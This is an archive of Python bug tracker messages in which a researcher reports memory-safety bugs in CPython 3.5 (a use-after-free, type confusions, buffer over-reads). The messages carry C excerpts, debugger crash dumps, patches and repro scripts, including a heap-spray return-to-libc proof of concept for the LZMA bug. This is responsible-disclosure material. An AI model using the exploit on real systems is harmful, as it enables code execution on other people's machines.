[issue28322] chain.__setstate__ Type Confusion
Changes by John Leitch <j...@autosectools.com>: Added file: http://bugs.python.org/file44900/Py35_itertools.py ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue28322> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28322] chain.__setstate__ Type Confusion
New submission from John Leitch:
Python 3.5.2 suffers from a type confusion vulnerability in the
chain.__setstate__ method of the itertools module. The issue exists due to lack
of argument validation in the chain_setstate() function:
static PyObject *
chain_setstate(chainobject *lz, PyObject *state)
{
PyObject *source, *active=NULL;
if (! PyArg_ParseTuple(state, "O|O", , ))
return NULL;
Py_INCREF(source);
Py_XSETREF(lz->source, source);
Py_XINCREF(active);
Py_XSETREF(lz->active, active);
Py_RETURN_NONE;
}
After parsing the argument tuple, source and active are set without validating
that they are iterator objects. This causes issues elsewhere, where the values
are passed PyIter_Next:
static PyObject *
chain_next(chainobject *lz)
{
PyObject *item;
if (lz->source == NULL)
return NULL;/* already stopped */
if (lz->active == NULL) {
PyObject *iterable = PyIter_Next(lz->source);
if (iterable == NULL) {
Py_CLEAR(lz->source);
return NULL;/* no more input
sources */
}
lz->active = PyObject_GetIter(iterable);
Py_DECREF(iterable);
if (lz->active == NULL) {
Py_CLEAR(lz->source);
return NULL;/* input not iterable */
}
}
item = PyIter_Next(lz->active);
if (item != NULL)
return item;
if (PyErr_Occurred()) {
if (PyErr_ExceptionMatches(PyExc_StopIteration))
PyErr_Clear();
else
return NULL;/* input raised an
exception */
}
Py_CLEAR(lz->active);
return chain_next(lz); /* recurse and use next active
*/
}
In some cases, this can lead to a DEP access violation. It might be possible to
exploit this to achieve code execution.
(4074.198c): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax= ebx=0132fa10 ecx=5b547028 edx=0002 esi=0132fa10 edi=5b37b3e0
eip= esp=009ef940 ebp=009ef94c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
?? ???
0:000> k6
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
009ef93c 5b329ac0 0x0
009ef94c 5b2cb321 python35!PyIter_Next+0x10
[c:\build\cpython\objects\abstract.c @ 2778]
009ef960 5b37b42e python35!chain_next+0x21
[c:\build\cpython\modules\itertoolsmodule.c @ 1846]
009ef970 5b33fedd python35!wrap_next+0x4e
[c:\build\cpython\objects\typeobject.c @ 5470]
009ef990 5b328b9d python35!wrapper_call+0x7d
[c:\build\cpython\objects\descrobject.c @ 1195]
009ef9ac 5b3c463c python35!PyObject_Call+0x6d
[c:\build\cpython\objects\abstract.c @ 2167]
To fix this issue, it is recommended that chain_setstate() be updated to
validate its arguments. A proposed patch has been attached.
static PyObject *
chain_setstate(chainobject *lz, PyObject *state)
{
PyObject *source, *active=NULL;
if (! PyArg_ParseTuple(state, "O|O", , ))
return NULL;
if (!PyIter_Check(source) || (active != NULL && !PyIter_Check(active))) {
PyErr_SetString(PyExc_ValueError, "Arguments must be iterators.");
return NULL;
}
Py_INCREF(source);
Py_XSETREF(lz->source, source);
Py_XINCREF(active);
Py_XSETREF(lz->active, active);
Py_RETURN_NONE;
}
--
components: Library (Lib)
files: itertools.patch
keywords: patch
messages: 277799
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: chain.__setstate__ Type Confusion
type: security
versions: Python 3.5
Added file: http://bugs.python.org/file44899/itertools.patch
___
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue28322>
___
___
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28275] LZMADecompressor.decompress Use After Free
John Leitch added the comment: Of course. Attached is a new patch that includes test coverage. It crashes on failure as there isn't any reasonable way to monitor for this kind of undefined behavior, but it's better than nothing. -- Added file: http://bugs.python.org/file44829/_lzmamodule_uaf_fix-2.patch ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue28275> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28275] LZMADecompressor.decompress Use After Free
Changes by John Leitch <j...@autosectools.com>: Added file: http://bugs.python.org/file44828/Py35_LZMADecompressor.py ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue28275> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue28275] LZMADecompressor.decompress Use After Free
New submission from John Leitch:
Python 3.5.2 suffers from a use after free vulnerability caused by the behavior
of the LZMADecompressor.decompress method. The problem exists due to a dangling
pointer created by an incomplete error path in the _lzma!decompress function.
static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
char input_buffer_in_use;
PyObject *result;
lzma_stream *lzs = >lzs;
/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
[...]
}
else {
lzs->next_in = data;
lzs->avail_in = len;
input_buffer_in_use = 0;
}
result = decompress_buf(d, max_length);
if(result == NULL)
return NULL;
[...]
}
When the function is first called, lzs->next_in is NULL, so it is set using the
data argument. If the subsequent call to decompress_buf fails because the
stream is malformed, the function returns while maintaining the current value
for lzs->next_in.
A couple returns later, the allocation pointed to by lzs->next_in (data) is
freed:
static PyObject *
_lzma_LZMADecompressor_decompress(Decompressor *self, PyObject *args, PyObject
*kwargs)
{
PyObject *return_value = NULL;
static char *_keywords[] = {"data", "max_length", NULL};
Py_buffer data = {NULL, NULL};
Py_ssize_t max_length = -1;
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*|n:decompress", _keywords,
, _length))
goto exit;
return_value = _lzma_LZMADecompressor_decompress_impl(self, ,
max_length);
exit:
/* Cleanup for data */
if (data.obj)
PyBuffer_Release();
return return_value;
}
At this point, any calls to decompress made to the same Decompressor instance
(a typical use case--multiple calls may be necessary to decompress a single
stream) will result in a memcpy to the dangling lzs->next_in pointer, and thus
memory corruption.
static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
char input_buffer_in_use;
PyObject *result;
lzma_stream *lzs = >lzs;
/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
size_t avail_now, avail_total;
[...]
memcpy((void*)(lzs->next_in + lzs->avail_in), data, len);
lzs->avail_in += len;
input_buffer_in_use = 1;
}
else {
[...]
}
}
This vulnerability can be exploited to achieve arbitrary code execution. In
applications where untrusted LZMA streams are received over a network, it might
be possible to exploit this vulnerability remotely. A simple proof of concept
that demonstrates a return-to-libc attack is attached.
import _lzma
from array import *
# System address when tested: 76064070
d = _lzma.LZMADecompressor()
spray = [];
for x in range(0, 0x700):
meg = bytearray(b'\x76\x70\x40\x06' * int(0x10 / 4));
spray.append(meg)
def foo():
for x in range(0, 2):
try:
d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41"
* int(0x100 / (4*4)))
except:
pass
foo()
print(len(spray[0]))
print(len(spray))
To fix the issue, it is recommended that lzs->next_in be zeroed in the event
the call to decompress_buf fails. A proposed patch is attached.
result = decompress_buf(d, max_length);
if(result == NULL) {
lzs->next_in = 0;
return NULL;
}
A repro file is attached as well.
Exception details:
0:000> r
eax=000a ebx=009ef540 ecx=0002 edx=41414141 esi=08b44970 edi=09275fe8
eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
VCRUNTIME140D!TrailingDownVec+0x1f9:
6bf55149 8917mov dword ptr [edi],edx ds:002b:09275fe8=
0:000> k
ChildEBP RetAddr
009ef3e4 5d573f80 VCRUNTIME140D!TrailingDownVec+0x1f9
[f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
009ef434 5d573383 _lzma_d!decompress+0x130
[c:\source2\python-3.5.2\modules\_lzmamodule.c @ 997]
009ef454 5d572049 _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93
[c:\source2\python-3.5.2\modules\_lzmamodule.c @ 1097]
009ef49c 55e6dd40 _lzma_d!_lzma_LZMADecompressor_decompress+0x79
[c:\source2\python-3.5.2\modules\clinic\_lzmamodule.c.h @ 99]
009ef4d4 55f65199 python35_d!PyCFunction_Call+0x80
[c:\source2\python-3.5.2\objects\methodobject.c @ 98]
009ef4fc 55f6008d python35_d!call_function+0x3e9
[c:\source2\python-3.5.2\python\ceval.c @ 4705]
009ef58c 55f6478d python35_d!PyEval_EvalFrameEx+0x509d
[c:\source2\python-3.5.2\python\ceval.c @ 3238]
009ef5cc 55f5afbd python35_d!_PyEval_EvalCodeWithName+0x73d
[c:\source2\python-3.5.2\python\ceval.c @ 4018]
009ef608 55f5af81 python35_d!PyEval_EvalCodeEx+0x2d
[c:\source2\python-3.5.2\python\ceval.c @ 4039]
009ef
[issue25092] Regression: test_datetime fails on 3.5, Win 7, works on 3.4
Changes by John Leitch <john.leit...@gmail.com>: -- nosy: +brycedarling ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue25092> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25021] product_setstate() Out-of-bounds Read
John Leitch added the comment: Glancing over the code, I see the issues you describe. Tonight I will verify your revised patch and report back. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue25021> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25021] product_setstate() Out-of-bounds Read
John Leitch added the comment: All appears well. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue25021> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
Changes by John Leitch <john.leit...@gmail.com>: -- nosy: +brycedarling ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue25019> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
Changes by John Leitch <john.leit...@gmail.com>: -- nosy: +christian.heimes ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue25019> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
Changes by John Leitch <john.leit...@gmail.com>: -- keywords: +patch Added file: http://bugs.python.org/file40395/xmlparse_setattro_Type_Confusion.patch ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue25019> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue25019] xmlparse_setattro() Type Confusion
New submission from John Leitch:
Python 3.4 and 3.5 suffer from a vulnerability caused by the behavior of the
xmlparse_setattro() function. When called, the function uses the provided name
argument in several conditional statements which assume that the name argument
is a string.
However, if a name argument is provided that is not a string, this logic will
make several calls to PyUnicode_CompareWithASCIIString that expect a string,
yet receive some other type of object, leading to a type confusion
vulnerability:
static int
xmlparse_setattro(xmlparseobject *self, PyObject *name, PyObject *v)
{
/* Set attribute 'name' to value 'v'. v==NULL means delete */
if (v == NULL) {
PyErr_SetString(PyExc_RuntimeError, "Cannot delete attribute");
return -1;
}
assert(PyUnicode_Check(name));
if (PyUnicode_CompareWithASCIIString(name, "buffer_text") == 0) {
[...]
}
In some applications, it may be possible to exploit this behavior to achieve
arbitrary code execution. The type confusion can be observed by running the
following script:
from xml.parsers.expat import *
p = ParserCreate()
p.__setattr__(range(0xF), 0)
Which, depending on the arrangement of memory, may produce an exception such as
this:
0:000> g
(d84.ce0): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0086f904 ebx=0086f8fc ecx=0050005c edx=00b60138 esi=0050005e edi=00b60138
eip=61e9a967 esp=0086f8c8 ebp=0086f8e0 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
python35!find_maxchar_surrogates+0x37:
61e9a967 0fb701 movzx eax,word ptr [ecx] ds:002b:0050005c=
0:000> k3
ChildEBP RetAddr
0086f8e0 61e9aa35 python35!find_maxchar_surrogates+0x37
[c:\build\cpython\objects\unicodeobject.c @ 1417]
0086f908 61eabcf3 python35!_PyUnicode_Ready+0x35
[c:\build\cpython\objects\unicodeobject.c @ 1466]
0086f918 61c547c3 python35!PyUnicode_CompareWithASCIIString+0x13
[c:\build\cpython\objects\unicodeobject.c @ 10784]
To fix this issue, it is recommended that xmlparse_setattro() be updated to
validate that the name argument is a string and return out of the function
early if it is not. A proposed patch is attached.
Credit: John Leitch (johnlei...@outlook.com), Bryce Darling
(darlingbr...@gmail.com)
--
components: XML
files: xmlparse_setattro_Type_Confusion.py
messages: 250116
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: xmlparse_setattro() Type Confusion
type: security
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file40394/xmlparse_setattro_Type_Confusion.py
___
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue25019>
___
___
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: First, let me begin by saying I believe this patch will fix the buffer over-read, which is a good step forward. However, after giving the matter more thought, and at the risk of wearing out my welcome, I am of the belief that relying on the CRT to handle malformed format strings is the wrong approach. As per the C spec, strftime's behavior when handling invalid format strings is undefined: "If a conversion specifier is not one of the above, the behavior is undefined" Quite often, "undefined" translates to "exploitable". And at the very least, by not performing thorough enough validation, Python is misusing strftime(), which may lead to crashes or undermine memory safety. Of course, this is all speculation--I haven't the time or resource to learn other platforms to see what's possible. But, even if I could, the task would be Sisyphean because there's simply no way to know what the future holds when dealing with implementation that could change at any point. I realize we must be pragmatic with matters such as this, and a dramatic change could be breaking for some Python apps. Even so, I feel it's worth vocalizing these concerns. As a principal, I think that "safe", well-formed Python should never be able to perform operations that lead to undefined behavior in the underlying runtime. Alright, rant done. If at any point in time locking down Python's strftime with more aggressive validation is considered viable, I am more than willing to take a shot at submitting a patch. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Yes, this is a user-mode read, but I disagree with the assertion that it's not possible to use this to disclose memory. While it isn't as critical as something that outright dumps memory, there is logic that throws exceptions based on values encountered while reading outside the bounds of the buffer. This could be used as a channel to infer what is or isn't in adjacent memory. That it's user-mode doesn't matter--if an application exposes the format string as attack surface, suddenly process memory can be probed. So, it's not heartbleed, but it does have security implications. If you'd like, I can take a shot at building a PoC. Further, it's best to err on the side of caution with bugs like these; just because it doesn't seem like major issue now doesn't mean someone won't come along in the future and prove otherwise. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Is there a way to see what style guidelines have been violated? The only thing I can think of is the curly braces in the Windows check, but I was following the conventions of the surrounding code. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: If it's so wildly inconsistent, it's my opinion that Python should perform its own validation to achieve better cross-platform support. The alternative is playing a never ending game of whack-a-mole, or just accepting that format strings may cause exceptions in some platforms but not others. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Yikes--your comment prompted me to look at the check-in, and it seems my patch wasn't properly applied. The curly braces got tweaked, which is minor as you stated, but more importantly the AIX code should not decref format. That could introduce problems bigger than what this patch was attempting to fix. And, not to dwell, but where do you see a keyword immediately followed by a left parens? I want to make sure everything is properly polished in the future, and the only thing I see is the untouched "for". Regarding your initial concerns: 1) I think we should enforce no trailing % so as to not pass format strings that may cause undefined behavior. 2) How about expecting ValueError on Windows/AIX, and pass on all other platforms? -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Currently, no. Would you like us to report this and future vulnerabilities to CERT? -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
Changes by John Leitch <john.leit...@gmail.com>: -- nosy: +belopolsky, lemburg ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: > I have tried the reproducer on Windows 10 with 2.6, 2.7, 3.3, 3.4, 3.5 and > 3.6. In every case I got this. What you are observing is due to the arrangement and contents of process memory. With a simple repro (such as the one provided), there's a good chance the null terminator of the format string will be followed by more null bytes, and thus the code will appear to work as intended. In more complex scripts where memory is ultimately reused, it's more likely that the null terminator will be followed by garbage, non-null bytes. To make the issue reproduce more reliably, use GFlags to enable heap tail checking, heap free checking, and page heap. https://msdn.microsoft.com/en-us/library/windows/hardware/ff549557(v=vs.85).aspx Then, when you repro the issue, you'll see the crash because the uninitialized memory will contain the fill pattern 0xd0 rather than 0x00, like this: 0:000> db edx-0x10 08ef2ff0 41 25 41 41 25 41 41 25-00 d0 d0 d0 d0 d0 d0 d0 A%AA%AA% 08ef3000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 08ef3060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? To be clear, heap verification is not a requirement--the bug can indeed be reproduced without it. However, it will make life easier by introducing more determinism. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: When I get a bit of slackspace (probably tomorrow afternoon/evening) I can test on the spectrum of versions to confirm the issue is in >= 3.2. I'll also look into improving our automation so all future reports can have the appropriate versions flagged. Regarding untrusted format strings, I believe you are mistaken. In native applications, untrusted format strings are problematic because an attacker can use injected tokens to read/write arbitrary memory, which can be leveraged to attain code execution. However, in the context of Python, a format string with too many tokens should be handled safely, resulting in a Python exception rather than exploitable memory corruption. This is the behavior observed in format string handling throughout Python (and indeed most managed/scripting languages). Yes, in most Python programs format strings will be constants, and using dynamically constructed format strings may be considered a bad practice. But, should a developer choose to pass a dynamically constructed string (for example, functionality that allows untrusted users to specify custom time formatting), it's not unreasonable for them to expect memory safety to be maintained. Of course, if there's a risk I'm overlooking I'd like to better understand it, and the relevant Python documentation should be updated. -- ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
John Leitch added the comment: Attached is a revised patch. -- Added file: http://bugs.python.org/file40367/time_strftime_Buffer_Over-read_v2.patch ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24917> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24989] scan_eol() Buffer Over-read
Changes by John Leitch <john.leit...@gmail.com>: Added file: http://bugs.python.org/file40327/scan_eol_Buffer_Over-read.py ___ Python tracker <rep...@bugs.python.org> <http://bugs.python.org/issue24989> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24989] scan_eol() Buffer Over-read
New submission from John Leitch:
Python 3.5 suffers from a vulnerability caused by the behavior of the
scan_eol() function. When called, the function gets a line from the buffer of a
BytesIO object by searching for a newline character starting at the position in
the buffer.
However, if the position is set to a value that is larger than the buffer, this
logic will result in a call to memchr that reads off the end of the buffer:
/* Move to the end of the line, up to the end of the string, s. */
start = PyBytes_AS_STRING(self->buf) + self->pos;
maxlen = self->string_size - self->pos;
if (len < 0 || len > maxlen)
len = maxlen;
if (len) {
n = memchr(start, '\n', len);
In some applications, it may be possible to exploit this behavior to disclose
the contents of adjacent memory. The buffer over-read can be observed by
running the following script:
import tempfile
a = tempfile.SpooledTemporaryFile()
a.seek(0b1)
a.readlines()
Which, depending on the arrangement of memory, may produce an exception such as
this:
0:000> g
(698.188): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fff8a14c ebx=0a0a0a0a ecx= edx=05bb1000 esi=061211b0 edi=89090909
eip=61c6caf2 esp=010af8dc ebp=010af914 iopl=0 nv up ei ng nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010292
python35!memchr+0x62:
61c6caf2 8b0amov ecx,dword ptr [edx] ds:002b:05bb1000=
0:000> k1
ChildEBP RetAddr
010af8e0 61b640f1 python35!memchr+0x62
[f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memchr.asm @ 125]
To fix this issue, it is recommended that scan_eol() be updated to check that
the position is not greater than or equal to the size of the buffer. A proposed
patch is attached.
--
files: scan_eol_Buffer_Over-read.patch
keywords: patch
messages: 249584
nosy: JohnLeitch, brycedarling
priority: normal
severity: normal
status: open
title: scan_eol() Buffer Over-read
type: security
versions: Python 3.5
Added file: http://bugs.python.org/file40326/scan_eol_Buffer_Over-read.patch
___
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue24989>
___
___
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24989] scan_eol() Buffer Over-read
John Leitch added the comment:
We based our fix on the check in write_bytes:
if (endpos > (size_t)PyBytes_GET_SIZE(self->buf)) {
if (resize_buffer(self, endpos) < 0)
return -1;
}
I see now that our casting was extraneous. As for the macro, it was suspected
that similar issues may be present and we wanted to write reusable code, but
this also seems unnecessary now that it's known the cast is unneeded.
Early tomorrow I'll take some time to create a revised patch.
--
___
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue24989>
___
___
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24913] newblock() Uninitialized Variable
John Leitch added the comment: The exception analysis is output from the WinDbg !analyze command run on a crash where access to the uninitialized memory ultimately corrupted the instruction pointer, leading to a data execution prevention crash. That's why the disassembly is junk--the IP is not pointing to valid instructions. This crash was provided as an example because it demonstrates that the issue is likely exploitable, and can probably be used to achieve code execution. Here is an example of a crash where execution halts immediately upon attempted to dereference a corrupted pointer. Note that the pointer is 0xC0C0C0C0--a fill pattern indicative of uninitialized memory. 0:000 r eax=02a2 ebx=551160a8 ecx=c0c0c0c0 edx=07e538e0 esi=07e538e0 edi=c0c0c0c0 eip=54f25a55 esp=004cf6e4 ebp=004cf6f4 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 python35!do_richcompare+0x15: 54f25a55 8b4704 mov eax,dword ptr [edi+4] ds:002b:c0c0c0c4= 0:000 k ChildEBP RetAddr 004cf6f4 54f25be3 python35!do_richcompare+0x15 [c:\build\cpython\objects\object.c @ 659] 004cf700 54e453fc python35!PyObject_RichCompare+0x53 [c:\build\cpython\objects\object.c @ 718] (Inline) python35!PyObject_RichCompareBool+0x14 [c:\build\cpython\objects\object.c @ 739] 004cf738 54f232d3 python35!deque_index+0xac [c:\build\cpython\modules\_collectionsmodule.c @ 933] 004cf754 54f8442f python35!PyCFunction_Call+0x113 [c:\build\cpython\objects\methodobject.c @ 109] 004cf788 54f818ec python35!call_function+0x2ff [c:\build\cpython\python\ceval.c @ 4651] 004cf800 54f8339f python35!PyEval_EvalFrameEx+0x232c [c:\build\cpython\python\ceval.c @ 3184] 004cf84c 54fba0b2 python35!_PyEval_EvalCodeWithName+0x82f [c:\build\cpython\python\ceval.c @ 3962] (Inline) python35!PyEval_EvalCodeEx+0x21 [c:\build\cpython\python\ceval.c @ 3983] (Inline) python35!PyEval_EvalCode+0x21 [c:\build\cpython\python\ceval.c @ 777] 004cf888 54fb9f45 python35!run_mod+0x42 [c:\build\cpython\python\pythonrun.c @ 970] 004cf8b4 54fb8fba python35!PyRun_FileExFlags+0x85 [c:\build\cpython\python\pythonrun.c @ 923] 004cf8f8 54e8f1f7 python35!PyRun_SimpleFileExFlags+0x20a [c:\build\cpython\python\pythonrun.c @ 396] (Inline) python35!PyRun_AnyFileExFlags+0x4e [c:\build\cpython\python\pythonrun.c @ 80] 004cf924 54e8fb33 python35!run_file+0xe7 [c:\build\cpython\modules\main.c @ 318] 004cf9c8 1cd4143f python35!Py_Main+0x913 [c:\build\cpython\modules\main.c @ 768] (Inline) python!invoke_main+0x1d [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89] 004cfa14 75463744 python!__scrt_common_main_seh+0xff [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264] 004cfa28 76f0a064 KERNEL32!BaseThreadInitThunk+0x24 004cfa70 76f0a02f ntdll!__RtlUserThreadStart+0x2f 004cfa80 ntdll!_RtlUserThreadStart+0x1b 0:000 !analyze -v -nodb *** * * *Exception Analysis * * * *** FAULTING_IP: python35!do_richcompare+15 [c:\build\cpython\objects\object.c @ 659] 54f25a55 8b4704 mov eax,dword ptr [edi+4] EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 54f25a55 (python35!do_richcompare+0x0015) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: c0c0c0c4 Attempt to read from address c0c0c0c4 CONTEXT: -- (.cxr 0x0;r) eax=02a2 ebx=551160a8 ecx=c0c0c0c0 edx=07e538e0 esi=07e538e0 edi=c0c0c0c0 eip=54f25a55 esp=004cf6e4 ebp=004cf6f4 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 python35!do_richcompare+0x15: 54f25a55 8b4704 mov eax,dword ptr [edi+4] ds:002b:c0c0c0c4= FAULTING_THREAD: 4a48 DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: EXCEPTION_PARAMETER2: c0c0c0c4 READ_ADDRESS: c0c0c0c4 FOLLOWUP_IP: python35!do_richcompare+15 [c:\build\cpython\objects\object.c @ 659] 54f25a55 8b4704 mov eax,dword ptr [edi+4] NTGLOBALFLAG: 200 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ
[issue24917] time_strftime() Buffer Over-read
Changes by John Leitch john.leit...@gmail.com: Added file: http://bugs.python.org/file40229/time_strftime_Buffer_Over-read.py ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24917 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24917] time_strftime() Buffer Over-read
New submission from John Leitch:
Python 3.5 suffers from a vulnerability caused by the behavior of the
time_strftime() function. When called, the function loops over the format
string provided, using strchr to search for each instance of '%'. After finding
a '%', it continues to search two characters ahead, assuming that each instance
is the beginning of a well formed format string token.
However, if a string ends with '%', this logic will result in a call to strchr
that reads off the end of the format string buffer:
/* check that the format string contains only valid directives */
for(outbuf = strchr(fmt, '%'); Assuming fmt ends with a '%', this will
return a pointer to the end of the string.
outbuf != NULL;
outbuf = strchr(outbuf+2, '%')) Once outbuf is pointing to the end
of the string, outbuf+2 skips
{past the null terimnator, leading
to a buffer over-read.
if (outbuf[1]=='#')
++outbuf; /* not documented by python, */
if ((outbuf[1] == 'y') buf.tm_year 0)
{
PyErr_SetString(PyExc_ValueError,
format %y requires year = 1900 on Windows);
Py_DECREF(format);
return NULL;
}
}
